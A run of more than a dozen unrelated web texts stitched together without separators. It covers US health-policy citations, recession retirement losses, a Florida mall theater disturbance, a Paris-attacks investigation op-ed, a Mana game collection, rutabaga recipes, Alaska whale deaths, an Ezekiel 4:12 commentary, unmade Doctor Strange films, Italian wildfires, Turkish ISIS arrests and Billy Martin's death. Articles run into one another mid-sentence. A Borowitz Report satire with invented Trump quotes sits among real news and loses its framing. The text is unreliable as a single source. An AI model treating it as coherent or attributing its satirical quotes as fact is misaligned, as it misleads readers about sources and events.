Is Obamacare Enough? Without Single-Payer, Patchwork US Healthcare Leaves Millions Uninsured, Democracy Now, October 7, 2013.
Treasury Department Memo (describes why the large employer reporting requirements are delayed for a year), July 2, 2013.
Obamacare Medical Loss Ratio Saved $1.5 Billion in 2011, Insurance Journal, December 5, 2012.After working in executive management for over ten years with a steadily increasing salary, Rick Stephens, 51, was laid off from his job in June 2008. Two years of steady unemployment later, he has sold his car, moved in with his 75-year-old father and blown through all his retirement savings to stay afloat.
"I pay my bills with what is left of the savings I accumulated by being frugal all my life, but I'm going through that pretty fast," he said. "I have tapped my IRA, and the result of that is I will be heavily taxed on it next April. I honestly believe that there will be no recovery from this. If there is a recovery, it will be too late for me, as I will have exhausted my savings and my retirement that I had socked away by not living the high life."
Stephens' predicament is an increasingly common one. Aside from stagnant wages, soaring unemployment and plummeting home values, the major tragedy of this recession is the havoc it has wreaked on the retirement incomes of millions of Americans who have planned and saved their entire lives, only to watch that money drain out of their accounts much sooner than they anticipated.
Retirement statistics are grim. The percentage of American workers who said they have less than $10,000 in savings grew to 43 percent in 2010, according to a recent survey by the Employee Benefit Research Institute. Nearly a quarter of the workforce said they have postponed their planned retirement in the past year and a CareerBuilder.com survey reports that 61 percent of workers say they are now living paycheck to paycheck, as compared to 43 percent in 2007.
With rapidly dwindling savings and fewer opportunities for jobs than their younger counterparts, many older Americans are facing a very uncertain economic future.
"This is the undiscussed explosive bomb in all this, is all the pension benefits, all the 401(k) money that's been drained out by workers trying to stay afloat until they find a job," Rep. Jim McDermott (D-Wash.) told HuffPost. "There are a lot of people who, when this is over, are going to have nothing. They will have lost their house, they will have used all their pension money."
Many Americans seem to be losing hope. Only 16 percent of respondents to the EBRI survey expressed confidence in their ability to retire comfortably, the second lowest point in the 20-year history of the survey.
Marguerite DiGaetano, 58, says she is confident that after two years of solid unemployment, despite having worked her whole life, she will never be able to retire.
"I think the person who invents the cubicle where you can discreetly hang your walker where it doesn't trip anybody, that person will be very popular with the baby boomers," she said. "Who's gonna be able to retire at 65? That's only seven years away. Not me. I'll be working until I die."Gunfire erupted late Saturday night at the West Oaks Mall as hundreds of teenagers rushed the mall's movie theater.
Ocoee police were called to the mall to help control a large, hostile crowd. Orange County deputies said 800-900 middle school and high school students tried to rush into the theater without paying. Ocoee police said 200-300 made it inside.
Police said the juveniles and young adults were causing a disturbance in the food court and movie theater area of the mall.
Police said a large group rushed into the theater and continued causing a disturbance there. Orange County deputies and police from Winter Garden and Windermere were called in to help disperse the crowd.
"During this time, there was a shot fired and somebody was robbed," said Lt. Paul Hopkins, of the Orange County Sheriff's Office. "But the Ocoee Police Department jumped on that quickly and were able to catch the gunman with the gun and make an arrest out of that."
Ocoee police said one juvenile was arrested for battery and resisting an officer without violence, and a second was arrested on misdemeanor drug charges.
Added Hopkins: "Our main concern is this: These are middle to high school kids who have guns, who are shooting guns, who are robbing people, driving stolen cars and they have drugs in their car.... You need to know where your kids are at all time."
No injuries were reported, police said.Were I a fundamentalist militant in Western Europe, or, indeed, in a number of other places, I would not be overjoyed at the success of the Nov. 13 suicide attacks in Paris.
Worry would be the more appropriate response.
The intelligence and security services of many European and other countries have already swung into action. Their activities will be of greater consequence than anything that happened in the original attacks — because they want to solve the mystery of exactly what happened in Paris, and because key suspects are already proving elusive, the dangers of a crackdown are growing by the hour.
Conversely, in my role as an ordinary citizen — even though people like me were the targets of the Paris attacks — I am reassured. The reasons why become evident as you consider just how a massive search like this is conducted.
In the first place, while it may be true that the police started with no information about the perpetrators, that condition changed swiftly. One perpetrator, identified by a finger blown off in the detonation of his suicide vest, immediately yielded the information that the man’s brother was also an Islamist. There’s a suspect already. The discovery of a rental car leads to another identification. Immediate family, relatives and friends of individuals who have been identified become instant persons of interest in investigations like this.
In this age of aggregation, metadata and data mining, the recognition of connections or links between and among individuals has received quite a great deal of attention. That is precisely what Washington’s National Security Agency was up to with its tracing of second- and third-level associations of persons whose phone numbers were being monitored.
In the Paris investigation, making associations like this will guide one segment of the inquiry. This kind of tracking will become even more important as authorities develop real leads. For example, the militants killed in Paris on Nov. 13 may have carried phones, were wearing clothes, were carrying weapons. All those things can be traced and some, like the phones, can yield more new associations.
Take the weapons used in the attacks, for example. The Islamist group known as Islamic State has no logistics network in Western Europe. The attackers had to procure their weapons somewhere, which leads to the question of where there is a black market in AK-47 assault rifles that would be accessible to them. The Brussels suburb of Molenbeek is one such place.
The weapons used in the attack on the Brussels-to-Paris train in August that was foiled by three young Americans; in a shootout with Belgian police earlier this year, and in the May 2014 attack on the Jewish Museum of Belgium in Brussels — all came from this suburb. The attackers had lived in this area, too — and the two brothers linked to the Paris attacks have been traced to Molenbeek already.
Belgian police have deployed in force into Molenbeek. Here comes the next thing that is reassuring — or not, depending on which side of the law you inhabit. The security services are not without knowledge.
In Belgium, there was a group called Sharia4Belgium that advocated sharia law and was ranked as one of the main recruiters of fighters to go to Syria. Belgium itself has gained the distinction of being the highest per-capita supplier of recruits for jihad in the Middle East. Early in 2015, a Belgian judge designated Sharia4Belgium a terrorist organization, and 45 people associated with the group were found guilty of terror-related offenses. The evidence from that trial, from the investigations of all the defendants and from the train and shoot-out incidents — all give the security services names of individuals to question in the Paris attacks.
Similarly, the French police — and their special security service, the Direction de la Surveillance du Territoire (DST) — have “Q” files that indicate persons of interest who may have been investigated in the past. There are reports already that at least one of the Paris attackers had a “Q” file and had been followed for a time. In Britain, Scotland Yard’s Special Branch compiles the same sort of files.
A certain number of French Muslims in Seine-Saint-Denis, or British Muslims in Birmingham or Tower Hamlets, can expect to find themselves pulled in for questioning — regardless of whether there is specific evidence linking them to events in Paris. In France alone, 168 raids were reportedly carried out on Monday. More than a hundred persons are being held in their homes.
These are reflexive elements of an investigation before there is specific evidence. They are about suspect lists and generic doubts. Interviews with such a broad swath of individuals, data mining and following the threads from detritus found at the attack scenes will, in due course, furnish investigators with even more concrete leads. Coordination among services in different nations will be imperative.
Speed is important, of course. As with the January shootings at the headquarters of Charlie Hebdo, big fish such as suspected ringleader Abdelhamid Abaaoud may have flown the coop already. But what gives Islamic State the capability is the network, and here thoroughness takes precedence over velocity. As security services expand their investigations, they will become more precise and able to hone in on persons or elements that have a more direct connection, if not to the Paris attacks themselves, then to other jihadi activities.
This is why I think that the Paris attacks will damage Islamist purposes throughout Western Europe more than the destruction wrought by the Paris attackers on Nov. 13. In the six months after the 9/11 attacks, the Central Intelligence Agency tells us, it and its allies swept 2,500 individuals with terrorist connections off the streets in many countries.
Expect something similar to happen here.Share. No announced plans for release in other territories. No announced plans for release in other territories.
Square Enix has revealed a collection of Seiken Densetsu games for a June release on Nintendo Switch.
The collection combines the first three Seiken Densetsu games, known outside of Japan as the Mana series, which includes Final Fantasy Adventure, Secret of Mana, and Seiken Densetsu 3, which has never seen release outside of Japan after it debuted on the Super Famicom in 1995. Adventure originally released on the Game Boy in 1991, while Secret of Mana debuted on the SNES in 1993. The collection will come to the Switch in Japan on June 1.
Exit Theatre Mode
When reached for comment about a release in Europe, a representative for Square Enix Europe said "Seiken Densetsu Collection has been announced for Japan only, we have no further details at this time."
IGN has also reached out to Square Enix North America about release of the collection in the west and will update this story when they respond.
According to a Famitsu story about the collection, the new Switch versions will feature a quick save function, the ability to listen to all three |
mass molestation. I wish the police had managed the situation better."
Another woman, who gave her name as Pooja, who told the BBC: “People were pushing and shoving, touching, grabbing, groping and everything was happening on that street.
“It was not only to me. It was happening to other girls too. They were all scared.
“I felt helpless. Although I have hands and legs and I could abuse and slap them, I could not do anything. I didn't know who was touching me and groping me.”
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowNEW YORK (The Borowitz Report) – The Presidential candidate Donald Trump blasted Pope Francis on Friday, arguing that the Pontiff’s recent call to save the planet had largely overshadowed his “far more reckless” call to feed the poor.
“Look, if the Pope wants to spout off about climate change, that’s his prerogative, I guess,” Trump said. “But when he starts talking about feeding the poor, that is totally dangerous and irresponsible.”
“Every other candidate is ripping the Pope’s comments about climate change,” he added. “I’m the only one in this race who seems to have noticed his truly crazy talk about feeding people.”
Trump said that, as President, it would be his job not to feed the poor “but to keep them from getting into the country in the first place."
“We need to build a wall they’re too hungry to climb,” he said.
The reality-show host argued that the Pope should stay out of politics, saying, “Let’s face it, the guy is not rich.”
“I’ve been to the Vatican,” he said. “It’s a nice enough place. But would you rather live there, or in a penthouse in Trump Tower? Not even close, my friend.”
Get news satire from The Borowitz Report delivered to your inbox.I don’t know about you, but when I started eating healthy, I had the palette of an unsophisticated six-year-old.
I had never even heard of half of the vegetables I found on my first trip to Whole Foods and it took months for someone to instruct me on the proper pronunciation of quinoa.
However, I’ve come a long way since then and now make a point to try to incorporate a new food into my diet every month. It isn’t hard to do since all my prior experiences involve corn, taters and lots of butter.
Now that I’m a little further along in my healthy eating journey, I may it a habit to try new foods as often as possible. This week for Weird Food Wednesday, I’m cooking some of my favorite rutabaga recipes.
Rutabaga is an ugly vegetable, similar to and in the same family as beets and potatoes. It has the similar nutty, sweet taste like beets and therefore is easy to incorporate into your diet in a lot of different ways.
In fact, we’re willing to bet you can trick your spouse and kids into trying our rutabaga recipes without them even knowing.
Weird Food Wednesday: Rutabaga Recipes
Rutabaga Short Stacks
Prep Time: 10 Minutes | Cook Time: 10 Minutes
Rutabaga makes a great white potato substitute. Although rutabagas are still considered a starchy vegetable, they come at a little less cost to your waistline — 33 carbs versus almost 40 in your average white potato.
These rutabaga short stacks are a yummy hashbrown substitute for Saturday morning.
Ingredients
1 rutabaga
1/2 cup of olive oil
1 egg
1/4 teaspoon of salt
1/4 teaspoon of pepper
1/2 teaspoon of garlic powder
Directions
Cut off the hard end of your rutabaga and then peel the rough exterior off using a peeler or a knife. Using a cheese grater or something similar, grate the rutabaga into fine pieces. In a bowl, combine the egg, rutabaga shreds, salt, pepper and garlic powder and stir together well. Using your hands, create small “patties”. In a cast iron skillet, heat up the olive oil over medium to high heat. Place each rutabaga patty in the hot oil and cook for three to five minutes before flipping to the other side. Expert tip: Like real hashbrowns, it’s okay if these don’t stay together perfectly. They taste delicious either way. Remove from heat onto a paper towel before serving.
Salt and Vinegar “Chips”
Prep Time: 15 Minutes | Cook Time: 15 Minutes
Ingredients
1 rutabaga
1 teaspoon of olive oil
1 tablespoon of white vinegar
1 teaspoon of salt
1 teaspoon of pepper
Directions
Preheat your oven to 400 degrees F. Cut off the hard end of your rutabaga and then peel the rough exterior off using a peeler or a knife. Using a shaver or a very sharp knife, cut your rutabaga into VERY thin slices. Expert tip: BE CAREFUL. Rutabagas are more like their sweet potato cousins than their white potato brethren in the sense that they can be very difficult to cut. Don’t try this with a dull knife, kids. Grease a baking sheet and lay the slices across it. Drizzle olive oil over the top. Mix the vinegar and salt together in a small container and use a brush to thoroughly coat the vegetables. Bake in the oven for 15 minutes or until you achieve your desired crispiness.
Rutabaga Ratatouille
Prep Time: 10 Minutes | Cook Time: 25 Minutes
There’s nothing prettier than a ratatouille. It’s a simple dish that goes great with any week day dinner and is fancy enough to serve for special occasions and when company comes over.
For this particular ratatouille, I incorporated some of my favorite vegetables, but feel free to sub ingredients or add your own! This dish is almost fool proof.
Ingredients
2 rutabagas
1 yellow squash
1 zucchini
1 tablespoon of olive oil
1 teaspoon of salt
2 sprigs of fresh rosemary (or 1 teaspoon of dried rosemary)
1 teaspoon of paprika
Directions
Preheat your oven to 350 degrees F. Slice your vegetables thinly, trying to make them all roughly the same shape and size. Expert tip: We know this is not always possible, considering rutabagas come in every shape and size. Just do your best. Start layering the vegetables together. To achieve the “ratatouille” look, it’s best to start layering them in your hands and then gently place them in an oven safe dish. If you don’t care about presentation, throw them in there any way you want. Drizzle the olive oil, salt, rosemary and paprika over the top. Bake in the oven for 25 minutes before serving.
Rutabaga Honey Dessert
Prep Time: 5 Minutes | Cook Time: 5 Minutes
Even the healthiest eaters sometime need a sweet snack. Since rutabagas tend to have sort of a sweet, nutty taste naturally, they’re perfect to pair with a healthy “sweet” ingredient. In this recipe, I’ve used honey, but fruit, cinnamon or nutmeg would also pair well with this dish.
Ingredients
1 rutabaga
1 tablespoon of honey
1 tablespoon of coconut oil
Directions
Heat up your coconut oil in a skillet over medium heat. Cut off the hard end of your rutabaga and then peel the rough exterior off using a peeler or a knife. Cube the rutabaga and add it to the pan, stirring so that it’s evenly coated with coconut oil. Let the rutabaga cook for four to five minutes before serving with honey drizzled over the top. Yum!
Remember, if you try any of our Weird Food Wednesday recipes or find a new, fun way to cook with rutabaga, be sure to post a photo and tag us using the hashtag #WeirdFoodWednesday.
For more Weird Food Wednesday posts, visit us on Pinterest or click here.NOAA Bears are seen feeding on the carcass of a fin whale which washed up in Larson Bay, Alaska, near Kodiak in June 2015.
Whales are turning up dead along the Alaska coast in alarming numbers, and scientists so far have no idea what's causing it.
Since May, 30 whales have been found dead along the coast, causing the National Oceanic & Atmospheric Administration to declare and "unusual mortality event" on Thursday.
So far, the toll includes 11 fin whales, 14 humpback whales, one gray whale, and four unidentified cetaceans, according to the agency.
That compares to just five dead whales in all of last year.
"NOAA Fisheries scientists and partners are very concerned about the large number of whales stranding in the western Gulf of Alaska in recent months," Dr. Teri Rowles, NOAA Fisheries' marine mammal health and stranding response coordinator, said in a news release.
Rowles added:
"While we do not yet know the cause of these strandings, our investigations will give us important information on the health of whales and the ecosystems where they live. Members of the public can greatly assist the investigation by immediately reporting any sightings of dead whales or distressed live animals they discover.
So far, scientists have been able to reach just one of the 30 whale carcasses.
"Alaska has an awful lot of coastline and much of it is difficult to reach," NOAA adviser Dr. Bree Witteveen told CBC. "We can't get to those carcasses more often than not."
The broadcaster said an additional six dead whales have turned up along the coast of British Columbia, and Canadian authorities are working closely with NOAA.
One theory is that a toxic algae bloom, created by warmer-than-usual waters off the West Coast, could be playing a role.
“That always concerns us because that means there’s probably a change in overall pathogen exposure, possibly harmful algal blooms and other factors,” Rowles said in news conference on Thursday, according to Alaska Dispatch News.
So far, one sample tested negative for a type of toxin produced by algae, but the carcass was so decomposed that it may not be reliable, the Dispatch News reported.
The agency also said in an online FAQ that it's "highly unlikely" that radiation from Fukushima is playing a role, but that further testing is under way.
NOAA said it may take months or years before scientists know for sure what's causing the deaths.
It's the first unusual mortality event for whales ever in Alaska, and just the third of any kind in the state. The agency had previously declared such events for pinnipeds in 2011 and sea otters in 2006.
The agency has released a map showing where the carcasses have been spotted, with a number of them concentrated in the Kodiak area.
NOAA asks that anyone who spots a dead whale or a living distressed whale call the Alaska Marine Mammal Stranding Hotline at 877-925-7773, or contact the U.S. Coast Guard on VHF Channel 16.
The agency is also asking that the public not approach or touch the whale.Lexicon
And you shall eat
תֹּֽאכֲלֶ֑נָּה
(tō·ḵă·len·nāh)
Verb - Qal - Imperfect - second person masculine singular | third person feminine singular
To eat
[the food]
וְהִ֗יא
(wə·hî)
Conjunctive waw | Pronoun - third person feminine singular
He, self, the same, this, that, as, are
as you would a barley
שְׂעֹרִ֖ים
(śə·‘ō·rîm)
Noun - feminine plural
Barley
cake,
וְעֻגַ֥ת
(wə·‘u·ḡaṯ)
Conjunctive waw | Noun - feminine singular construct
A disc or cake of bread
after you bake
תְּעֻגֶ֖נָה
(tə·‘u·ḡe·nāh)
Verb - Qal - Imperfect - second person masculine singular | third person feminine singular
To bake
it over dried human
הָֽאָדָ֔ם
(hā·’ā·ḏām)
Article | Noun - masculine singular
Ruddy, a human being
excrement
בְּגֶֽלְלֵי֙
(bə·ḡel·lê)
Preposition-b | Noun - masculine plural construct
Dung
in the sight [of the people].”
לְעֵינֵיהֶֽם׃
(lə·‘ê·nê·hem)
Preposition-l | Noun - cdc | third person masculine plural
An eye, a fountain
As barley cakes.
(12)--These were commonly cooked in the hot ashes, hence the especial defilement caused by the fuel required to be used. Against this the prophet pleads, not merely as revolting in itself, but as ceremonially polluting ( Ezekiel 4:14 ; see Leviticus 5:3 Leviticus 7:21 ), and a mitigation of the requirement is granted to him ( Ezekiel 4:15 ).
In their sight--This is still a part of the vision. The words have been thought to determine that the whole transaction was an actual symbolic act and not a vision; but this does not follow. It need only have been a part of the vision that what was done was done publicly.
Verse 12.
Thou shall bake it with dung
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, etc. The process of baking in ashes was as old as the time of Abraham ( Genesis 18:6 ), and continues in Arabia and Syria to the present day. The kneaded dough was rolled into thin flat cakes, and they were placed upon, or hung over, the hot wood embers of the hearth or oven. But in a besieged city the supply of wood for fuel soon fails. The first resource is found, as still often happens in the East, in using the dried dung of camels or of cattle. Before Ezekiel's mind there came the vision of a yet more terrible necessity. That supply also might tail, and then men would be forced to use the dried contents of the "draught houses" or cesspools of Jerusalem. They would be compelled almost literally to fulfil the taunt of Rabshakeh ( Isaiah 36:12 ). That thought, as bringing with it the ceremonial pollution of Leviticus 5:3 : 7:21, was as revolting to Ezekiel as it is to us; but like Dante, in a like revolting symbolism ('Inf.,' 18:114), he does not shrink from naming it. It came to him, as with the authority of a Divine command, that he was even to do this, to represent the extreme horrors of the siege. And all this was to be done visibly, before the eyes of his neighbours at Tel-Abib.4:9-17 The bread which was Ezekiel's support, was to be made of coarse grain and pulse mixed together, seldom used except in times of urgent scarcity, and of this he was only to take a small quantity. Thus was figured the extremity to which the Jews were to be reduced during the siege and captivity. Ezekiel does not plead, Lord, from my youth I have been brought up delicately, and never used to any thing like this; but that he had been brought up conscientiously, and never had eaten any thing forbidden by the law. It will be comfortable when we are brought to suffer hardships, if our hearts can witness that we have always been careful to keep even from the appearance of evil. See what woful work sin makes, and acknowledge the righteousness of God herein. Their plenty having been abused to luxury and excess, they were justly punished by famine. When men serve not God with cheerfulness in the abundance of all things, God will make them serve their enemies in the want of all things.Alphabetical: a as bake baked barley cake dung Eat excrement food for fuel having human in it of over people shall sight the their using would youOn November 4th 2016, Sherlock and Star Trek Into Darkness star Benedict Cumberbatch will play Doctor Strange, Marvel’s master of the mystic arts, in a big budget cinematic spectacular of the same name. The film will be directed by Scott Derrickson of Sinister and Deliver Us From Evil, suggesting there may be a considerable horror flavor with the magical adventures.
Naturally, seeing as he’s been kicking around in the Marvel universe since the 1960s, this is far from Doctor Strange’s first rodeo. As an intrinsic character in Marvel lore, with his fair share of quality stories, multiple movies based around Doctor Strange have been in the works before. In fact, a Dr. Strange TV movie does actually exist, from the 1970s, predating a lot of the live-action Marvel adaptations. The whole thing is on YouTube, if you want to treat yourself.
However, the story of Strange’s big screen ambitions has been struck by something of a curse. Several attempts have been made to get his sorcery on the silver screen, but none have succeeded so far. We’ll start with a particularly peculiar one…
Doctor Mordrid
“In a Manhattan apartment, Doctor Anton Mordrid has stood guard between our world and the dark dimensions. Now, after centuries of waiting, evil’s ultimate warrior has arrived.”
That’s the introductory voiceover featured in the trailer embedded above. It also ends with the tagline "Doctor Mordrid – master of the unknown." Does all that sound awfully familiar? Incredibly Doctor Strange-esque? Well that’s because it is - the 1992 movie Doctor Mordrid was made by B-movie experts Full Moon Entertainment (Killjoy, Puppet Master, Subspecies), but it was originally planned as an official Marvel-licenced Doctor Strange movie.
Why did that happen? Well, the studio’s license expired, so they made the intriguing decision to carry on anyway. If you’re looking for a 1990s Doctor Strange movie, then this is the closest you’re going to get.
There are some changes made to the official material, with Stephen Strange renamed as Anton Mordrid, and his origin shifting from neurosurgeon-turned-mystic to that of a wizard sent to Earth from space. The role of Mordrid was taken by Jeffrey Combs, who is known well to Star Trek fans for playing nine different roles in the Star Trek universe (see also: Re-Animator, The Frighteners).
The evil wizard Kabal was the main villain, and he had a plot to unleash the demons of Hell onto Earth. Spoiler alert: Doctor Mordrid stopped him. The film may not be official Marvel, but if you’re a lover of low-budget movies from the 1990s, this is definitely one to add to your collection.
Bob Gale and Wes Craven
No, not together (can you imagine?). But both of these big names in cinema took a crack at pulling a Doctor Strange movie out of the bag in the years surrounding Doctor Mordrid.
Gale took the first bite of the cherry of cinematic mysticism, with a script that sent a project into pre-production back in 1986. The Back To The Future screenwriting legend also has a comic book connection (he’s written for Ant-Man, Batman, Daredevil, and Spider-Man over the years), so he made an interesting choice to combine primary colored panels with cinematic sheen.
Bob Gale’s script eventually did the rounds online, and makes for an interesting what-could-have-been discussion. The script opens snappily with a demonic battle from 700 years ago, before jumping ahead and faithfully retelling Strange’s car-accident-caused descent from hot-shot surgeon to desperate loner (Strange loses the ability to perform surgery because of his now-shaky hands) and eventual master of the mystic arts.
Gale stuck to Strange as a normal man for much of the runtime, closing in on the character and presumably keeping the budget low. It’s a Strange-sized mystery why this film never happened while Doctor Mordrid did, and the studio behind this particular project still isn’t known.
Fast forward to after Doctor Mordrid, and Marvel’s desire to get rolling with a Doctor Strange film resurfaces again. This time, horror icon Wes Craven is handed scriptwriting and directorial duties and Savoy Pictures (again, there’s a chance for B-movie vibes here, too. See: Savoy’s Dr. Jekyll And Ms. Hyde from 1995) were officially attached.
Naturally, we can only assume that Craven had a few horrific twists to the established Strange lore up his sleeve, as we’re expecting Scott Derrickson to as well. With such a big name slasher expert at the helm, this could have been the movie to shift the potential of the comic book filmmaking movement in a completely different direction. This script never leaked though, so it looks like we’ll never know what kind of dark arts Craven had in store.
Alex Cox and Stan Lee
Here’s an interesting one – around 1990, Marvel came up with the intriguing pairing of Marvel Comics’ godfather Stan Lee and Fear And Loathing In Las Vegas screenwriter (and one time director) Alex Cox to work on a Doctor Strange movie. It seems odd at first, but on second thoughts its one of those decisions that could have looked immensely inspired if the film had been a hit.
With Cox’s eye for the surreal (see: Repo Man and acid western Walker, as well as Fear And Loathing) and Stan The Man’s decades of Marvel knowledge (he co-created the character) and storytelling experience, and this could have become a melting pot where respect for the source material and outside-the-box thinking bubble together into something wonderful. Of course, it could also have been utter balls, but we like to dream.
The script has done the rounds online before, and interestingly, it doesn’t bother messing around with origins material. It opens with an assassination attempt on Kardell (the name given here to Strange’s mentor, traditionally known as the Ancient One) by classic Strange villain Baron Mordo, and a plot to wipe Strange and Kardell off the planet in order for Dormammu (another classic villain) to take over the Earth.
Kardell escapes and soon he and Strange find out they have three days to stop the gate to the Dark Dimension (where Dormammu is waiting) from opening. Action ensues, and, upon failing to stop the gate, a battle of apocalyptic proportions breaks out involving Strange, Kardell, Mordo, Dormammu, and – yes! – Merlin.
It sounds a little wacky, and maybe needed a few more drafts, but there’s nothing there that suggests to us that a fun movie couldn’t have been the end product if a bit more effort had been made.
Speaking of the project, Cox said: “Doctor Strange was my favourite superhero, and his adversary Dormamu my preferred villain. Stan is a great writing partner. Starts in New York, goes to the Fourth Dimension, and ends on Easter Island, where Stan had always wanted a showdown. Very old-fashioned.”
So why didn’t it happen? “It was almost made by an LA company called Regency. But they distributed via Warner Bros, who were in a dispute with Marvel Comics over merchandising, and Warners nixed it. Probably too pagan to be made today.”
David S. Goyer
Loved by some, not by others, it’s impossible to deny Goyer’s impact on superhero cinema as we know it today. Alongside the entire Blade and Dark Knight trilogies, Man Of Steel, and now Batman v Superman: Dawn Of Justice, Doctor Strange would have slipped into his CV nicely (he also played a part in making Ghost Rider).
What did he have planned for Doctor Strange? Would he make it a bit more grittier and grounded-er, as he’s become known for in recent years? Would it be as bombastic as Man Of Steel?
Well, he told IGN later on – when he re-joined the project in 2001, after leaving previously - that he "would attempt to use as many practical effects and in-camera tricks as possible. I like CG the most when it is done subtly."
Interestingly, he also mentioned that, "as for Doctor Strange, there is a mechanism in place that would allow me to write and direct the film […] I did write a script for Doctor Strange for Columbia about six years ago, but it didn't go very well. There were elements of the story that I liked, but in all likelihood, I would start from scratch this time. Just as I did with Ghost Rider." Eventually he left (again) to work on other projects, though.
There probably aren't many filmmakers who would take a Doctor Strange movie over The Dark Knight if handed a Mephisto-style deal, to be honest, so we’re sure Goyer’s not too gutted.
Guillermo del Toro and Neil Gaiman
And finally, here’s a dream creative pairing for many. This could be the big one on this list that people wish they could summon back from the dark dimension of development hell.
After a period of post-Goyer faff, during which Marvel announced a release date without a script while Avi Arad and Miramax were said searching for an A-list writer to take over, Paramount eventually picked up the rights in 2005. Interestingly, two cards were on the table at this point: a $165m tent-pole budget, or a stripped-back $50m production. That says a lot about the different options you have with Stephen Strange stories.
Then followed some more faff (three years worth) before master of the gothic-ness and ghoulishness Guillermo del Torro signed up to direct. By our calculations, this would have been after Hellboy and just before the release of Pan’s Labryinth. Those two films are enough to convince almost anyone that del Toro could pull off a Doctor Strange movie with his eyes shut.
Around the same time, he approached Neil Gaiman with the suggestion of co-writing the script together. Again, even if Sandman was the only thing on Gaiman’s CV (let alone Stardust, his brilliant first Doctor Who episode, or his extensive work for DC and Marvel), many would still probably see Gaiman as an ideal fit to pen a Doctor Strange story. Gaiman even reimagined Doctor Strange as a core character in his 1602 twist on the Marvel universe.
Del Toro told Empire: "I talked with Neil Gaiman [about writing it]. I said, that’s an interesting character because you can definitely make him more in the pulpy occult detective/magician mould and formula than was done in the Weird Tales, for example... the idea of a character that really dabbles in the occult in a way that’s not X-Filey, where the supernatural is taken for granted. That’s interesting… But I wouldn't use the suit!"
Sadly, the project fizzled out to nothing, which happens a lot around the ever-manically-multitasking del Torro.Some 141,000 hectares of woodland have burned down in 2017 so far, Coldiretti said, a dramatic increase of 316 percent compared to the average over the past nine years.
The destruction is costing Italy not only trees but plants, animals, traditional industries and a means of absorbing some of the carbon dioxide that causes climate change, Coldiretti said in a statement marking Italy's national Tree Day on November 21st.
A long, rainless summer this year dried out much of Italy and left countryside from Piedmont to Sicily exceptionally vulnerable to wildfires – but Coldiretti says that human action, or lack of it, is also to blame.
With almost 11 million hectares of forest covering more than a third of the entire country, Italy's problem isn't a lack of woodland, but too much of it.
With fewer farmers to keep woods in check, Coldiretti said, many of Italy's forests are neglected and overgrown, leaving them at the mercy of arsonists and increasing the risk of mass destruction when a fire breaks out.
The association is calling on the government to involve farmers in the proper monitoring and maintenance of Italy's forests.
Elsewhere in Italy, environmental watchdog Legambiente is running a campaign to get schools to plant trees on Tree Day, while the Italian consortium of wood and cork producers has promised to donate a tree for every 50 posts on social media with the hashtag #unalberoè (“a tree is”).
Meanwhile the populist Five Star Movement has launched a project to plant nearly 24,000 new trees in more than 50 areas across Italy from Tuesday, including 12,000 in Rome and 1,000 in Turin.
“Che straordinario dono sono gli alberi e quante cose potremmo imparare da loro, se solo sapessimo guardarli, vederli, prestare loro l'amore e l'attenzione che si presta agli amici.”
Susanna Tamaro #unalberoè #Festadellalbero pic.twitter.com/8RAFMcnYpg — Anna (@A_MdV) November 21, 2017
"What an extraordinary gift trees are and how many things we can learn from them, if only we know how to watch, to see, to give them the love and attention that we give to friends" – Susanna Tamaro.Story highlights Anti-terror police make arrests in Istanbul, Kocaeli, Mersin and Sanliurfa areas, news agency reports
Three foreigners who are among the 21 arrested were preparing to cross into Syria, Anadolu says
Istanbul (CNN) Turkish authorities have arrested 21 people -- including three foreigners -- suspected of belonging to ISIS, Turkey's semiofficial Anadolu news agency reported Friday.
Anti-terror police carried out simultaneous raids in four areas, including Istanbul, the news agency said. The other arrests were in northwestern Kocaeli province and the southern provinces of Sanliurfa, which borders Syria, and Mersin.
Those arrested are accused of being members of ISIS who helped recruit people to join the extremist group, Anadolu said.
The three foreigners were preparing to cross the border into Syria, it added.
Turkey has become a popular transit route for people seeking to reach Syria, where ISIS and other opposition groups have been battling the forces of Syrian President Bashar al-Assad
Read MoreFifteen years after a fractured heart began to heal a tiny bit around Christmas, the holiday celebrated around the world remains tough on the son Billy Martin left behind 25 years ago this coming Thursday.
“I spend a lot of the day thinking about him,’’ Billy Martin Jr. told The Post from his Arlington, Texas, home. “Even when my kids are really into their joy, it’s sad for me because they never met him and he was amazing with kids.’’
Billy III, 16, Gunner Mantle, 15, and Olivia Grace, 12, are the grandchildren Martin never met because of a 1989 Christmas Day auto accident that killed the fiery former Yankees second baseman and five-time manager who led the club to the 1977 World Series title.
Longtime friend Billy Reedy, a Detroit tavern owner near Tiger Stadium who befriended Martin when he managed the Tigers, and Martin were drinking Christmas Day in a Fenton, N.Y., bar northeast of Binghamton before Martin’s truck hit a patch of ice and went down a 300-foot embankment 25 yards from Martin’s house.
Reedy acknowledge the pair were drinking but said the ice and no guardrails on the road played a bigger part in Martin’s death.
Reedy told police he was driving to keep his buddy from a DUI bust, but Martin was dead from a broken neck two feet away. Reedy suffered a broken hip, and his lie resulted in a DUI charge.
Though Martin’s grandkids never met him, they have a nickname for him that was born out of the No. 1 on the back of the Yankees uniform that is retired.
“They still call him ‘1 Pa’ and he would have loved to hear that,’’ said Billy Jr., who recently turned 50.
Martin was 61 when he perished and didn’t believe he was done managing the Yankees.
At the Winter Meetings in Nashville weeks before he died, Martin told Michael Kay, then a Yankees beat writer, that owner George Steinbrenner was going to bring him back to replace Bucky Dent, who took over for Dallas Green during the 1989 season.
Dent eventually was fired during the 1990 season and replaced by Stump Merrill.
When that story surfaced in January 1990, Steinbrenner refuted it, but Martin’s widow, Jill, said her husband was told that was going to happen.
Billy Jr. and Reedy said it took 10 years for Christmas to represent more than heartbreak. Billy Jr. said it was having Billy III around. Reedy said the birth of his granddaughter Mikka did the trick.
Reedy, who told The Post in 1999 that he hadn’t a drink since the wreck, died from pancreatic cancer in July 2009. He was 72.
Despite firing Martin several times, Steinbrenner had a special feeling for him. According to Hal Steinbrenner, The Boss was crushed to hear the awful Christmas news 25 years ago.
“I remember vividly,’’ Hal Steinbrenner wrote in an email. “Billy had just been in Tampa to participate in the Christmas concert that we do every year for kids in Hillsborough and Pinellas counties. He read ‘Twas the Night Before Christmas.’ We all enjoyed seeing him as he was like family. My dad and I were at the Bay Harbor Inn watching football the day he died. I was in the restaurant when I heard, so I went up to tell him. He already knew and was visibly distraught. No doubt about it. People don’t realize what a special relationship they had.’’
For Willie Randolph, a second baseman like Martin, the memory of his former manager hasn’t faded.
